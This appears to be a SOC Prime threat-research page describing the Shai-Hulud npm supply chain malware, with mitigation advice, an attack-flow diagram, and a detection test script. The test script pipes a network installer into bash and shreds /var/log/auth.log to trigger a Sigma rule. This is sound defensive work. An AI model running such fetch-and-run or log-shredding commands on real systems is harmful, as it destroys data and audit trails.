SOC Prime Bias: Critical

28 Nov 2025 18:53

Shai-Hulud: Widespread npm Supply Chain Attack

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Shai-Hulud: Widespread npm Supply Chain Attack
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

GitLab disclosed a widespread supply chain intrusion aimed at npm ecosystems. The campaign pushes an updated Shai-Hulud malware variant via malicious preinstall scripts. This payload harvests cloud and code-host credentials, funnels data to attacker-controlled GitHub repositories, and spreads further by republishing trojanized packages. A built-in dead man’s switch can wipe or corrupt user files if the attacker’s infrastructure is disrupted.

Investigation

GitLab’s vulnerability research team traced the activity to tainted npm packages whose modified package.json references a setup_bun.js loader. This loader installs the Bun runtime and triggers a bundled bun_environment.js payload that collects credentials, runs Trufflehog to discover secrets, and uploads results to a public GitHub repository. The malware also spins up new GitHub repositories as drop boxes and abuses stolen npm tokens to republish compromised packages. If access to both GitHub and npm is severed, the payload proceeds to delete or overwrite user files.

Mitigation

GitLab recommends that organizations inspect npm dependencies for unexpected preinstall scripts and validate the integrity of published packages. Teams should remove unauthorized setup_bun.js loaders, revoke exposed npm and GitHub tokens, and watch for suspicious GitHub repositories stamped with the marker “Sha1-Hulud: The Second Coming.” Endpoint protection should be configured to block untrusted Node scripts and to detect the destructive command lines documented in the report.

Response

When activity is detected, isolate the impacted system, revoke all compromised credentials, and purge malicious npm packages from internal registries. Perform a forensic review to confirm or rule out data exfiltration and file destruction. Issue fresh credentials for cloud platforms and GitHub, and continuously monitor GitHub for newly created repositories that match the attacker’s marker. Finally, reinforce CI/CD pipelines to prohibit arbitrary preinstall scripts.

“`mermaid graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes – Attack Techniques tech_supply_chain[“<b>Technique</b> – <b>T1195.001 Supply Chain Compromise</b>: Malicious npm packages publish a modified package.json that adds a preinstall script”] class tech_supply_chain technique tech_client_exec[“<b>Technique</b> – <b>T1203 Exploitation for Client Execution</b>: npm runs the preinstall script during package installation, executing the malicious setup_bun.js”] class tech_client_exec technique tech_software_ext[“<b>Technique</b> – <b>T1176 Software Extensions</b>: The preinstall script acts as a malicious extension to the legitimate package”] class tech_software_ext technique tech_obfuscate[“<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b>: Large obfuscated payload bun_environment.js is downloaded”] class tech_obfuscate technique tech_decode[“<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b>: Payload is decoded before execution”] class tech_decode technique tech_hidden_files[“<b>Technique</b> – <b>T1564.001 Hidden Files and Directories</b>: Creates .truffler‑cache/ and subdirectories”] class tech_hidden_files technique tech_path_excl[“<b>Technique</b> – <b>T1564.012 File Path Exclusions</b>: Stores malicious binaries in hidden paths to avoid detection”] class tech_path_excl technique tech_cred_in_files[“<b>Technique</b> – <b>T1552.001 Credentials In Files</b>: Scans .npmrc, environment variables and config files for cloud and repository tokens”] class tech_cred_in_files technique tech_auto_collect[“<b>Technique</b> – <b>T1119 Automated Collection</b>: Executes Trufflehog to collect secrets from the file system”] class tech_auto_collect technique tech_exfil_repo[“<b>Technique</b> – <b>T1567.001 Exfiltration to Code Repository</b>: Uses stolen GitHub token to create public repos and upload credentials”] class tech_exfil_repo technique tech_destructive[“<b>Technique</b> – <b>T1565 Data Manipulation</b>: Runs destructive commands (del, cipher, shred) to delete and overwrite user data”] class tech_destructive technique tech_impair[“<b>Technique</b> – <b>T1562 Impair Defenses</b>: Dead‑man’s switch disables recovery by destroying data”] class tech_impair technique tech_propagate[“<b>Technique</b> – <b>T1195.001 Supply Chain Propagation</b>: Uses stolen npm tokens to inject malicious preinstall scripts into victim packages and republishes them”] class tech_propagate technique %% Nodes – Files and Tools file_package_json[“<b>File</b>: package.json with malicious preinstall script”] class file_package_json file file_setup_bun[“<b>File</b>: setup_bun.js (preinstall script)”] class file_setup_bun file file_bun_env[“<b>File</b>: bun_environment.js (obfuscated payload)”] class file_bun_env file file_trufflehog[“<b>Tool</b>: Trufflehog binary stored in .truffler‑cache”] class file_trufflehog tool file_hidden_dir[“<b>File</b>: .truffler‑cache/ hidden directory”] class file_hidden_dir file file_github_repo[“<b>File</b>: Public GitHub repository created for exfiltration”] class file_github_repo file %% Edges – Attack Flow tech_supply_chain –>|adds preinstall script| file_package_json file_package_json –>|triggers during npm install| tech_client_exec tech_client_exec –>|executes| file_setup_bun file_setup_bun –>|downloads| file_bun_env file_bun_env –>|is| tech_obfuscate tech_obfuscate –>|requires| tech_decode tech_decode –>|produces executable payload| tech_software_ext tech_software_ext –>|creates| file_hidden_dir file_hidden_dir –>|stores| file_trufflehog file_trufflehog –>|used for| tech_auto_collect tech_auto_collect –>|collects credentials| tech_cred_in_files tech_cred_in_files –>|provides tokens to| tech_exfil_repo tech_exfil_repo –>|uploads data to| file_github_repo tech_exfil_repo –>|if tokens lost triggers| tech_destructive tech_destructive –>|disables recovery via| tech_impair tech_impair –>|enables| tech_propagate tech_propagate –>|injects malicious preinstall into new npm packages| tech_supply_chain %% Styling class tech_supply_chain,tech_client_exec,tech_software_ext,tech_obfuscate,tech_decode,tech_hidden_files,tech_path_excl,tech_cred_in_files,tech_auto_collect,tech_exfil_repo,tech_destructive,tech_impair,tech_propagate technique class file_package_json,file_setup_bun,file_bun_env,file_hidden_dir,file_github_repo file class file_trufflehog tool “`

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Attack Narrative & Commands

The adversary has gained a foothold on the compromised Linux host. To establish a persistent runtime capable of executing further JavaScript‑based payloads, they download and install the Bun runtime via a one‑liner that streams the installer directly into bash. Immediately after confirming the runtime is present, the attacker triggers a “dead‑man’s switch” (simulated here by a timed sleep) that launches a destructive shred operation to irrecoverably delete a sensitive file (/var/log/auth.log).

The steps are:

  1. Download & install Bun:
    curl -fsSL https://bun.sh/install | bash
  2. Wait briefly (simulating the switch timing).
  3. Execute destructive shred:
    shred -uvz -n 1 /var/log/auth.log

Both commands generate process‑creation events that match the Sigma rule’s exact keywords.

Regression Test Script

#!/bin/bash
# -------------------------------------------------
# Simulate Shai‑Hulud “Bun install + shred” behavior
# -------------------------------------------------

# 1️⃣ Install Bun (exact command required for detection)
echo "[*] Installing Bun runtime..."
curl -fsSL https://bun.sh/install | bash

# Short pause to emulate realistic timing
sleep 5

# 2️⃣ Perform destructive file wipe (exact command required)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Shredding $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] Target file not found; creating dummy file for demo."
    echo "dummy data" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Simulation complete."

Cleanup Commands

#!/bin/bash
# -------------------------------------------------
# Cleanup after the Bun/Shred simulation
# -------------------------------------------------

# Remove any residual Bun files (if installed)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Removing Bun runtime..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Recreate the shredded log file (for system stability)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "recreated log placeholder" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Cleanup complete."